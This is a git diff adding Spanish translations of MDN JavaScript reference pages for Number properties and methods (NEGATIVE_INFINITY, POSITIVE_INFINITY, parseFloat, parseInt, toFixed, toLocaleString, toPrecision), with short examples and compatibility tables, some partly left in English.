+ <li><code>NEGATIVE_INFINITY</code>, divido por cualquier valor positivo excepto <code>POSITIVE_INFINITY</code>, da como resultado <code>NEGATIVE_INFINITY</code>.</li>
+ <li><code>NEGATIVE_INFINITY</code>, divido por <code>NEGATIVE_INFINITY</code> o por <code>POSITIVE_INFINITY</code>, da como resultado <code>NaN</code>.</li>
+ <li>Cualquier numero divido por <code>NEGATIVE_INFINITY</code> da como resultado cero.</li>
+</ul>
+<p>Muchos métodos JavaScript (tales como el constructor del objeto <code>Number</code>, <code>parseFloat</code>, y <code>parseInt</code>) retornan <code>NaN</code> si el valor especifico en el párametro es significativamente menor a <code>Number.MIN_VALUE</code>.</p>
+<p>Podrías utilizar la propiedad <code>Number.NEGATIVE_INFINITY</code> para indicar una condición de error que retorne un numero finito en caso de que esto suceda. Note, sin embargo, que <code><a href="/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/isFinite">isFinite</a></code> seria mas apropiado en estos casos.</p>
+<h2 id="Example" name="Example">Example</h2>
+<p>En el siguiente ejemplo, a la variable <code>smallNumber </code>se le asigna un valor mucho mas pequeño al valor minimo. Cuando la sentencia <code>if</code> es ejecutada, <code>smallNumber </code>tiene el valor "<code>-Infinity</code>", por lo cual a <code>smallNumber </code>le es asignado un valor finito mas manejable antes de continuar.</p>
+<pre class="brush:js">var smallNumber = (-Number.MAX_VALUE) * 2
+
+if (smallNumber === Number.NEGATIVE_INFINITY) {
+ smallNumber = returnFinite();
+}
+</pre>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ra Edición. Implementado en JavaScript 1.1</td>
+   <td>Estándar</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Ver también</h2>
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref( "Infinity")}}</li>
+ <li>{{jsxref("isFinite")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/parsefloat/index.html b/files/es/web/javascript/referencia/objetos_globales/number/parsefloat/index.html
new file mode 100644
index 0000000000..6285aa9b5a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/parsefloat/index.html
@@ -0,0 +1,76 @@
+---
+title: Number.parseFloat()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/parseFloat
+tags:
+  - ECMAScript2015
+  - ECMAScript6
+  - JavaScript
+  - Número
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Number.parseFloat()</code></strong> parsea un argumento cadena y regresa un número de punto flotante. Este método se comporta de igual forma a la función global {{jsxref("parseFloat", "parseFloat()")}} y es parte de ECMAScript 2015 (su propósito es la modularización de los globales).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parsefloat.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Number.parseFloat(<var>string</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>{{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat", "Parameters")}}</p>
+
+<h3 id="Valor_de_regreso">Valor de regreso</h3>
+
+<p>{{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat", "Return value")}}</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Por favor ver {{jsxref("parseFloat", "parseFloat()")}} para más detalles y ejemplos.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js notranslate">if (Number.parseFloat === void 0) {
+    Number.parseFloat = parseFloat;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.parseFloat")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El objeto {{jsxref("Number")}} al que pertenece.</li>
+ <li>El método global {{jsxref("parseFloat", "parseFloat()")}}.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/parseint/index.html b/files/es/web/javascript/referencia/objetos_globales/number/parseint/index.html
new file mode 100644
index 0000000000..e899827599
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/parseint/index.html
@@ -0,0 +1,80 @@
+---
+title: Number.parseInt()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/parseInt
+tags:
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Number.parseInt()</code></strong> method parses a string argument and returns an integer of the specified radix or base.</p>
+
+<p>The <strong><code>Number.parseInt()</code></strong> El método Number.parseInt () analiza un argumento de cadena y devuelve un entero de la raíz o base especificada.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parseint.html", "taller")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Number.parseInt(<var>string,</var>[ <var>radix</var>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<div>
+<dl>
+ <dt><code><var>string</var></code></dt>
+ <dd>The value to parse. If this argument is not a string, then it is converted to one using the <code><a href="https://tc39.es/ecma262/#sec-tostring">ToString</a></code> abstract operation. Leading whitespace in this argument is ignored.</dd>
+ <dt><code><var>radix</var></code><var> {{optional_inline}}</var></dt>
+ <dd>An integer between <code>2</code> and <code>36</code> that represents the <em>radix</em> (the base in mathematical numeral systems) of the <code><var>string</var></code>. Be careful—this does <strong><em>not</em></strong> default to <code>10</code>!</dd>
+</dl>
+</div>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>An integer parsed from the given <code><var>string</var></code>.</p>
+
+<p>If the <code><var>radix</var></code> is smaller than <code>2</code> or bigger than <code>36</code>, and the first non-whitespace character cannot be converted to a number, {{jsxref("NaN")}} is returned.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>This method has the same functionality as the global {{jsxref("parseInt", "parseInt()")}} function:</p>
+
+<pre class="brush: js">Number.parseInt === parseInt // true</pre>
+
+<p>and is part of ECMAScript 2015 (its purpose is modularization of globals). Please see {{jsxref("parseInt", "parseInt()")}} for more detail and examples.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (Number.parseInt === undefined) {
+    Number.parseInt = window.parseInt
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.parseInt")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{jsxref("Number")}} object it belongs to.</li>
+ <li>The global {{jsxref("parseInt", "parseInt()")}} method.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/positive_infinity/index.html b/files/es/web/javascript/referencia/objetos_globales/number/positive_infinity/index.html
new file mode 100644
index 0000000000..41d101a569
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/positive_infinity/index.html
@@ -0,0 +1,115 @@
+---
+title: Number.POSITIVE_INFINITY
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/POSITIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+---
+<p>{{JSRef("Objetos_globales", "Number")}}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>La propiedad <code><strong>Number.POSITIVE_INFINITY</strong></code> representa el infinito positivo.</p>
+<p>No se tiene que crear un objeto {{jsxref("Number")}} para acceder a esta propiedad estática (use <code>Number.POSITIVE_INFINITY</code>).</p>
+<p>{{js_property_attributes(0,0,0)}}</p>
+<h2 id="Descripción">Descripción</h2>
+<p>El valor de <code>Number.POSITIVE_INFINITY</code> es el mismo valor de la propiedad {{jsxref( "Infinity")}} del objeto global.</p>
+<p>Este valor tiene un comportamiento ligeramente diferente al infinio matemático:</p>
+<ul>
+ <li>Cualquier valor positivo, incluyendo <code>POSITIVE_INFINITY</code>, multiplicado por <code>POSITIVE_INFINITY</code> da como resultado <code>POSITIVE_INFINITY</code>.</li>
+ <li>Cualquier valor negativo, incluyendo <code>NEGATIVE_INFINITY</code>, multiplicado por <code>POSITIVE_INFINITY</code> da como resultado <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Cero multiplicado por <code>POSITIVE_INFINITY</code> da como resultado NaN.</li>
+ <li>NaN multiplicado por <code>POSITIVE_INFINITY</code> da como resultado NaN.</li>
+ <li><code>POSITIVE_INFINITY</code>,  dividido por cualquier valor negativo excepto <code>NEGATIVE_INFINITY</code>, da como resultado <code>NEGATIVE_INFINITY</code>.</li>
+ <li><code>POSITIVE_INFINITY</code>, divido por cualquier valor positivo excepto <code>POSITIVE_INFINITY</code>, da como resultado <code>POSITIVE_INFINITY</code>.</li>
+ <li><code>POSITIVE_INFINITY</code>, divido por <code>INFINITY</code> o por <code>POSITIVE_INFINITY</code>, da como resultado NaN.</li>
+ <li>Cualquier numero divido por <code>POSITIVE_INFINITY</code> da como resultado cero.</li>
+</ul>
+<p>Muchos métodos de JavaScript (tales como el constructor del objeto <code>Number</code>, <code>parseFloat</code> y <code>parseInt</code>) retornan <code>NaN</code> si el valor especificado en el parámetro es signficativamente mayor a <code>Number.MAX_VALUE</code>.</p>
+<p>Podrías utilizar la propiedad <code>Number.POSITIVE_INFINITY</code> para indicar una condición de error que retorne un numero finito en caso de que esto suceda. Note, sin embargo, que <code><a href="/es/docs/Referencia_de_JavaScript_1.5/Funciones_globales/isFinite">isFinite</a></code> seria mas apropiado en estos casos.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<p>En el siguiente ejemplo, a la variable <code>bigNumber </code>se le asigna un valor mucho mayor al valor máximo. Cuando la sentencia <code>if</code> es ejecutada, <code>bigNumber </code>tiene el valor "<code>Infinity</code>", por lo cual a <code>bigNumber</code> le es asignado un valor mas manejable antes de continuar.</p>
+<pre class="brush: js">var bigNumber = Number.MAX_VALUE * 2;
+if (bigNumber === Number.POSITIVE_INFINITY) {
+ bigNumber = returnFinite();
+}
+</pre>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition. Implemented in JavaScript 1.1</td>
+   <td>Estándar</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caracteristica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>(SI)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caracteristica</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soprote básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Ver también</h2>
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("isFinite")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/number/prototype/index.html
new file mode 100644
index 0000000000..721da0526c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/prototype/index.html
@@ -0,0 +1,15 @@
+---
+title: Number.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/prototype
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>
+ {{JSRef("Objetos_globales", "Number")}}</div>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>Representa el prototipo para esta clase. Puede utilizar el prototipo para añadir propiedades o métodos a todas las instancias de una clase. Para información acerca de prototipos.</p>
+<div class="noinclude">
+  </div>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/tofixed/index.html b/files/es/web/javascript/referencia/objetos_globales/number/tofixed/index.html
new file mode 100644
index 0000000000..f11ccc3938
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/tofixed/index.html
@@ -0,0 +1,147 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/toFixed
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toFixed()</code></strong> formatea un número usando notación de punto fijo.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toFixed([<var>digitos</var>])</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>digitos</code></dt>
+ <dd>Opcional. El número de digitos que aparecen después del punto decimal; este puede ser un valor entre 0 y 20, inclusive, algunas implementaciones pueden soportar un rango más amplio de valores. Si el argumento es omitido, es tratado como 0.</dd>
+</dl>
+
+<h3 id="Valor_Devuelto">Valor Devuelto</h3>
+
+<p>Una cadena que representa el número dado, usando notación de punto fijo.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Si <code>digits</code> es demasiado pequeño o demasiado grande. Los valores entre 0 y 20, inclusive, no causarán un error tipo<code> {{jsxref("RangeError")}}</code>. Las implementaciones también pueden admitir valores cada vez más grandes.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Si este método se invoca en un objeto que no es un {{jsxref("Number")}}.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><strong><code>toFixed()</code></strong> devuelve una representación de cadena de <code> numObj </code> que no usa notación exponencial y tiene exactamente <code> dígitos </code> dígitos después del decimal. El número se redondea si es necesario, y la parte fraccional se rellena con ceros si es necesario para que tenga la longitud especificada.Si <code>numObj</code> es mayor que <code>1e+21</code>, este metodo llama a {{jsxref("Number.prototype.toString()")}} y retorna una cadena de notacion exponencial.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_toFixed">Using <code>toFixed</code></h3>
+
+<pre class="brush: js">var numObj = 12345.6789;
+
+numObj.toFixed();       // Returns '12346': note rounding, no fractional part
+numObj.toFixed(1);      // Returns '12345.7': note rounding
+numObj.toFixed(6);      // Returns '12345.678900': note added zeros
+(1.23e+20).toFixed(2);  // Returns '123000000000000000000.00'
+(1.23e-10).toFixed(2);  // Returns '0.00'
+2.34.toFixed(1);        // Returns '2.3'
+2.35.toFixed(1);        // Returns '2.4'. Note that it rounds up in this case.
+-2.34.toFixed(1);       // Returns -2.3 (due to operator precedence, negative number literals don't return a string...)
+(-2.34).toFixed(1);     // Returns '-2.3' (...unless you use parentheses)
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/tolocalestring/index.html b/files/es/web/javascript/referencia/objetos_globales/number/tolocalestring/index.html
new file mode 100644
index 0000000000..d0c28b1431
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/tolocalestring/index.html
@@ -0,0 +1,155 @@
+---
+title: Number.prototype.toLocaleString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/toLocaleString
+tags:
+  - Internacionalizacion
+  - JavaScript
+  - Número
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toLocaleString()</code></strong> retorna una representacion localizada del número en forma de texto</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tolocalestring.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><code><em>numObj</em>.toLocaleString(</code><code>[locales [, options]])</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p>Los argumentos <code>locales</code> y <code>options</code> personalizan el comportamiento de la funcion y permite especificar el lenguaje cuyo formato deberá ser utilizado. En implementaciones, que ignoran los argumentos <code>locales</code> y <code>options</code> la localización utilizada y la forma del texto retornado es enteramente dependiente de la implementación.</p>
+
+<div>Mira el  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/NumberFormat">constructor Intl.NumberFormat()</a> para ver más detalles sobre los parámetros y como se utilizan.</div>
+
+<div></div>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un texto con una representación localizada del número dado.</p>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Cuando formateas una gran cantidad de números, es mejor crear un objeto {{jsxref("NumberFormat")}} y utilizar la función {{jsxref("NumberFormat.format")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toLocaleString">Usando <code>toLocaleString</code></h3>
+
+<p>Un uso básico sin especificar <code>locales</code>, retorna un texto formateado con el <code>locales</code> y <code>options</code> por defecto.</p>
+
+<pre class="brush: js notranslate">var number = 3500;
+
+console.log(number.toLocaleString()); // Muestra "3,500" si se está utilizando la localización U.S. English
+</pre>
+
+<h3 id="Verificando_el_soporte_de_los_parámetros_locales_y_options">Verificando el soporte de los parámetros <code>locales</code> y <code>options</code></h3>
+
+<p>Los parámetros <code>locales</code> y <code>options</code> no son soportados aún por todos los navegadores. Para verificar el soporte en ES5.1 y posteriores implementaciones, se puede utilizar el hecho que los tags inválidos en la localización son rechazados con una excepción {{jsxref("Global_Objects/RangeError", "RangeError")}}:</p>
+
+<pre class="brush: js notranslate">function toLocaleStringSupportsLocales() {
+  var number = 0;
+  try {
+    number.toLocaleString('i');
+  } catch (e) {
+    return e.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<p>Antes de ES5.1, las implementaciones no requieren devolver una exepción {{jsxref("Global_Objects/RangeError", "RangeError")}} cuando <code>toLocaleString </code>es llamado sin argumentos.</p>
+
+<p>Para verificar que funciona todos los navegadores, incluyendo aquellos que soportan ECMA-262, anterior a ES5.1, se puede verificar por las funcionalidades especificadas en ECMA-402 que requieren soportar opciones regionales para <code>Number.prototype.toLocaleString</code> directamente:</p>
+
+<pre class="brush: js notranslate">function toLocaleStringSupportsOptions() {
+  return !!(typeof Intl == 'object' &amp;&amp; Intl &amp;&amp; typeof Intl.NumberFormat == 'function');
+}
+</pre>
+
+<p>Esta validación del objeto global <code>Intl</code> , verificar que no es <code>null</code> (nulo) y que tiene la propiedad <code>NumberFormat</code> que es una función.</p>
+
+<h3 id="Utilizando_locales">Utilizando <code>locales</code></h3>
+
+<p>Este ejemplo muestra alguna de las variaciones en los formatos de números localizados. Para obtener el formato de la localización utilizada en la interfaz del usuario de tu aplicación, asegurate de especificar la localización (y de ser posible alguna localización de respaldo) utilizando el parámetro <code>locales</code>:</p>
+
+<pre class="brush: js notranslate">var number = 123456.789;
+
+// Aleman utiliza comas como separador decimal y puntos miles
+console.log(number.toLocaleString('de-DE'));
+// → 123.456,789
+
+// Arabe en la mayoría de países de habla Arabe utilizan numerales <a href="https://en.wikipedia.org/wiki/Eastern_Arabic_numerals">Eastern Arabic</a>
+console.log(number.toLocaleString('ar-EG'));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// India utiliza separadores de miles/lakh/crore
+console.log(number.toLocaleString('en-IN'));
+// → 1,23,456.789
+
+// la extensión nu requiere un sistema numerico, e.g. Decimales Chino
+console.log(number.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
+// → 一二三,四五六.七八九
+
+// cuando solicitas un lenguage que podria no ser soportado, como
+// Balinese, incluye un lenguaje de respaldo, en este caso Indonesio
+console.log(number.toLocaleString(['ban', 'id']));
+// → 123.456,789
+</pre>
+
+<h3 id="Utilizando_options">Utilizando <code>options</code></h3>
+
+<p>El resultado proveido por  <code>toLocaleString</code> puede ser personalizado utilizando el parámetro <code>options</code> :</p>
+
+<pre class="brush: js notranslate">var number = 123456.789;
+
+// solicitar un formato de moneda
+console.log(number.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
+// → 123.456,79 €
+
+// en Japones yen no utiliza una moneda menor
+console.log(number.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
+// → ￥123,457
+
+// limitar a tres digitos el significante
+console.log(number.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
+// → 1,23,000
+
+// Utilizar el lenguaje por defecto del host con opciones para el formato del número
+var num = 30000.65;
+console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
+// → "30,000.65" donde English es el lenguaje por defecto, o
+// → "30.000,65" donde Aleman es el lenguaje por defecto, o
+// → "30 000,65" donde French es el lenguaje por defecto
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toLocaleString")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/toprecision/index.html b/files/es/web/javascript/referencia/objetos_globales/number/toprecision/index.html
new file mode 100644
index 0000000000..7a5110d7a9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/toprecision/index.html
@@ -0,0 +1,102 @@
+---
+title: Number.prototype.toPrecision()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/toPrecision
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toPrecision()</code></strong> devuelve una cadena que representa un objeto {{jsxref("Number")}} según la precisión especificada.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toprecision.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toPrecision([<var>precision</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>precision</code></dt>
+ <dd>Opcional. Un entero que especifica el número de digitos significativos.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena que representa un objeto {{jsxref("Number")}} en punto fijo o en notación exponencial redondeada a <code>precision</code> de digitos significativos. Vea la discusión acerca del redondeo en la descripción del método {{jsxref("Number.prototype.toFixed()")}} , que además aplica a <code>toPrecision()</code>.</p>
+
